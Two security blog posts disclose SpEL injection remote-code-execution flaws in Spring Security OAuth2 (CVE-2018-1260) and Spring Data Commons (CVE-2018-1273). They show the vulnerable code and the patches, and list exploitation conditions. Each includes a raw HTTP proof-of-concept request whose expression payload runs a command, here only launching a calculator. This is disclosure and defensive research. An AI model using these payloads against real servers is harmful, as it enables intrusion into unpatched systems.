Thursday, May 17, 2018

Beware of the Magic SpEL(L) – Part 2 (CVE-2018-1260)

This post was originally posted on GoSecure's blog
On Tuesday, we released the details of RCE vulnerability affecting Spring Data (CVE-2018-1273). We are now repeating the same exercise for a similar RCE vulnerability in Spring Security OAuth2 (CVE-2018-1260). We are going to present the attack vector, its discovery method and the conditions required for exploitation. This vulnerability also has similarities with another vulnerability disclosed in 2016. The resemblance will be discussed in the section where we review the fix.

Analyzing a potential vulnerability


It all started by the report of the bug pattern SPEL_INJECTION by Find Security Bugs. It reported the use of SpelExpressionParser.parseExpression() with a dynamic parameter, the same API used in the previous vulnerability we had found. The expression parser is used to parse expressions placed between curly brackets "${...}".
public SpelView(String template) {
    this.template = template;
    this.prefix = new RandomValueStringGenerator().generate() + "{";
    this.context.addPropertyAccessor(new MapAccessor());
    this.resolver = new PlaceholderResolver() {
        public String resolvePlaceholder(String name) {
            Expression expression = parser.parseExpression(name); //Expression parser
            Object value = expression.getValue(context);
            return value == null ? null : value.toString();
        }
    };
}
The controller class WhitelabelApprovalEndpoint uses this SpelView class to build the approval page for OAuth2 authorization flow. The SpelView class evaluates the string named "template" - see code below - as a Spring Expression.
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
   String template = createTemplate(model, request);
   if (request.getAttribute("_csrf") != null) {
      model.put("_csrf", request.getAttribute("_csrf"));
   }
   return new ModelAndView(new SpelView(template), model); //template variable is a SpEL
}
Following the methods createTemplate() and createScopes(), we can see that the attribute "scopes" is appended to the HTML template which will be evaluated as an expression. The only model parameter bound to the template is a CSRF token. However, the CSRF token will not be under the control of a remote user.
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
   String template = TEMPLATE;
   if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { 
      template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
   }

[...]

private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) {
   StringBuilder builder = new StringBuilder("<ul>");
   @SuppressWarnings("unchecked")
   Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request
         .getAttribute("scopes"));  //Scope attribute loaded here
   for (String scope : scopes.keySet()) {
      String approved = "true".equals(scopes.get(scope)) ? " checked" : "";
      String denied = !"true".equals(scopes.get(scope)) ? " checked" : "";
      String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved)
            .replace("%denied%", denied);
      builder.append(value);
   }
   builder.append("</ul>");
   return builder.toString();
}
At this point, we are unsure if the scopes attribute can be controlled by the remote user. While attribute (req.getAttribute(..)) represents session values stored server-side, scope is an optional parameter part of OAuth2 flow. The parameter might be accessible to the user, saved to the server-side attributes and finally loaded into the previous template.
After some research in the documentation and some manual tests, we found that "scope" is a GET parameter part of the implicit OAuth2 flow. Therefore, the implicit mode would be required for our vulnerable application.

Proof-of-Concept and Limitations


When testing our application, we realized that the scopes were validated against a scopes whitelist defined by the user/client. If this whitelist is configured, we can't be creative with the parameter scope. If the scopes are simply not defined, no validation is applied to the name of the scopes. This limitation will likely make most Spring OAuth2 applications safe.
This first request made used the scope "${1338-1}", see picture below. Based on the response, we now have a confirmation that the scope parameter's value can reach the SpelView expression evaluation. We can see in the resulting HTML multiples instances of the string "scope.1337".

Pushing the probe value ${1338-1}

A second test was made using the expression "${T(java.lang.Runtime).getRuntime().exec("calc.exe")}" to verify that the expressions are not limited to simple arithmetic operations.

Simple proof-of-concept request spawning a calc.exe subprocess

For easier reproduction, here is the raw HTTP request from the previous screenshot. Some characters - mainly curly brackets - were not supported by the web container and needed to be URL encoded in order to reach the application. { -> %7b
POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1
Host: localhost:8080
Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 0

Reviewing The Fix


The solution chosen by the Pivotal team was to replace SpelView with a simpler view, with basic concatenation. This eliminates all possible paths to a SpEL evaluation. The first patch proposed introduced a potential XSS vulnerability, but luckily this was spotted before any release was made. The scope values are now properly escaped and free from any injection.
More importantly, this solution improved the security of another endpoint: WhitelabelErrorEndpoint. The endpoint is also no longer uses a Spel View. It was found vulnerable to an identical attack vector in 2016. Spring-OAuth2 also used the SpelView class to build the error page. The interesting twist is that the template parameter was static, but the parameters bound to the template were evaluated recursively. This means that any value in the model could lead to a Remote Code Execution.

Example with simple values
Example with an expression included in the model

This recursive evaluation was fixed by adding a random prefix to the expression boundary. The security of this template now relies on the randomness of 6 characters (62 possibilities to the power of 6). Some analysts were skeptical regarding this fix and raised the risk of a race condition if enough attempts are made. However, this is no longer a possibility since SpelView was also removed from this endpoint.
The SpelView class is also present in Spring Boot. This implementation has a custom resolver to avoid recursion. This means that while the Spring-OAuth2 project no longer uses it, some other components, or proprietary applications, might have reused (copy-pasted) this utility class to save some time. For this reason, a new detector looking for SpelView was introduced in Find Security Bugs. The detector does not look for a specific package name because we assume that the application will likely have a copy of the SpelView class rather than a reference to Spring-OAuth2 or Spring Boot classes.

Limitation & exploitability


We encourage you to keep all your web applications' dependencies up-to-date. If for any reason you must delay the last month's updates, here are the specific conditions for exploitation:
  • Spring OAuth2 in your dependency tree
  • The users must have implicit flow enabled; it can be enabled along with other grant types
  • The scope list needs to be empty (not explicitly set to one or more elements)
The good news is that not all OAuth2 applications will be vulnerable. In order to specify arbitrary scopes, the user profile of the attacker needs to have an empty list of scopes.

Conclusion


This was the second and last article of the series on SpEL injection vulnerabilities. We hope it brought some light on this less frequent vulnerability class.
As mentioned previously in Part 1, finding this vulnerability class in your own application is unlikely. It is more likely to come up in components similar to Spring-Data or Spring-OAuth. If you are a Java developer or tasked with reviewing Java code for security, you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. This type of vulnerability hunting can be daunting because many code patterns cause indirection, making variable tracking harder.
Kudos to Alvaros Muñoz, pyn3rd and Gal Goldshtein who reproduced the vulnerability and documented the flaw a few days after the official announcement made by Pivotal.

Reference

Tuesday, May 15, 2018

Beware of the Magic SpEL(L) - Part 1 (CVE-2018-1273)

This post was originally posted on GoSecure's blog

This February, we ran a Find Security Bugs scan on over at least one hundred components from the Spring Framework, including the core components (spring-core, spring-mvc) but also optional components (spring-data, spring-social, spring-oauth, etc.). From this exercise, we reported some vulnerabilities. In this blog post, we are going to give more details on a SpEL injection vulnerability. While some proof of concept code and exploitation details have already surfaced on Twitter, we will add a focus on how these vulnerabilities were found, followed by a thorough review of the proposed fix.

Initial Analysis


Our journey started when we noticed a suspicious expression evaluation in the MapDataBinder.java class, identified by the SPEL_INJECTION pattern as reported by Find Security Bugs. We discovered that the parameter propertyName came from a POST parameter upon form submission:
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    if (!isWritableProperty(propertyName)) { // <---Validation here
        throw new NotWritablePropertyException(type, propertyName);
    }
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation
The sole protection against arbitrary expression evaluation appears to be the validation from the isWritableProperty method. Following the execution trace, it can be seen that the isWritableProperty method leads to the execution of getPropertyPath:
@Override
public boolean isWritableProperty(String propertyName) {
    
    try {
        return getPropertyPath(propertyName) != null;
    } catch (PropertyReferenceException e) {
        return false;
    }
}
private PropertyPath getPropertyPath(String propertyName) {

    String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
    return PropertyPath.from(plainPropertyPath, type);
}
We were about to review the PropertyPath.from()  method  in detail, but we realized a much easier bypass was possible: any value enclosed by brackets is removed and therefore the value is ignored. With this knowledge, the attack vector becomes clearer. We're possibly able to submit a parameter name that would have the pattern "parameterName[T(malicious.class).exec('test')]".

Building a Proof-of-concept


An idea is nothing until it is put into action. When performing extensive code review, the creation of a proof of concept can sometimes be difficult. Luckily, it was not the case for this vulnerability. The first step was obviously constructing a vulnerable environment. We reused an example project located in spring-data-examples repository. The web project used an interface as a form which is required to reach this specific mapper.
After identifying the form, we built the following request and sent it with an HTTP proxy. We were instantly greeted with the calculator spawn, confirming the exploitability of the module:
POST /users?size=5 HTTP/1.1
Host: localhost:8080
Referer: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&repeatedPassword=test&password[T(java.lang.Runtime).getRuntime().exec("calc")]=abc

Simple proof of concept request spawning a calc.exe subprocess

Reviewing The Fix


A complete fix was made in the changeset associated to the bug id DATACMNS-1264. Here is why it can be considered really effective.
While the attack vector presented previously relies on the side effect of a regex, another risk was also found in the implementation. The processed value was parsed twice; once for validation, and once again for execution. This is a subtle detail that is often overlooked when performing code review. An attacker could potentially exploit one subtitle difference between each implementation. This remains theoretical because we didn't find any difference between both.
The correction made by Pivotal also addresses this small double parsing risk that could have introduced a vulnerability in the future. In the first place, a more limited expression parser (SimpleEvaluationContext) was used. Then, a new validation of the types is integrated as the expression is loaded and executed. The isWritableProperty method was kept but the security of the mapper doesn't rely on it anymore:
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    [...]
    EvaluationContext context = SimpleEvaluationContext //
        .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation
        .withConversionService(conversionService) //
        .withRootObject(map) //
        .build();

    Expression expression = PARSER.parseExpression(propertyName);

Is my application affected?


Most Spring developers adopted Spring Boot to help dependency management. If this is your case, you should integrate the updates as soon as possible to avoid missing critical security patches, or growing your technical debt. If for any reason you must delay the last months' updates, here are the specific conditions for the exploitation of this specific bug:
  • Having spring-data-commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, in your dependency tree;
  • At least one interface is used as a form (for example UserForm in the spring-data-examples project);
  • Impacted forms from previous conditions are also accessible to attackers.

What's next?


As the title implies, there will be a second part to this article, as a very similar vulnerability was identified in Spring OAuth2. We wanted to keep both vulnerabilities separate regardless of the similarities to avoid confusion with the exploitation conditions and the different payloads.
You might be wondering where these SpEL injections are likely to be present, aside from the Spring Framework itself. It is unlikely that you will find web application logic directly using the SpEL API. Our offensive security team only recalls one occurrence of such conditions. The most probable case is reviewing other Spring components similar to data-commons. Additional checks can easily be added to your automated scanning tools. If you are a Java developer or tasked with reviewing Java code for security,  you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. As implicitly demonstrated in this article, while this tool can be effective, the confirmation of the exploitability still requires a minimal understanding of the vulnerability class and a small analysis.
We are hoping that this blog was informative to you. Maybe, you will find a similar vulnerability yourself soon.

References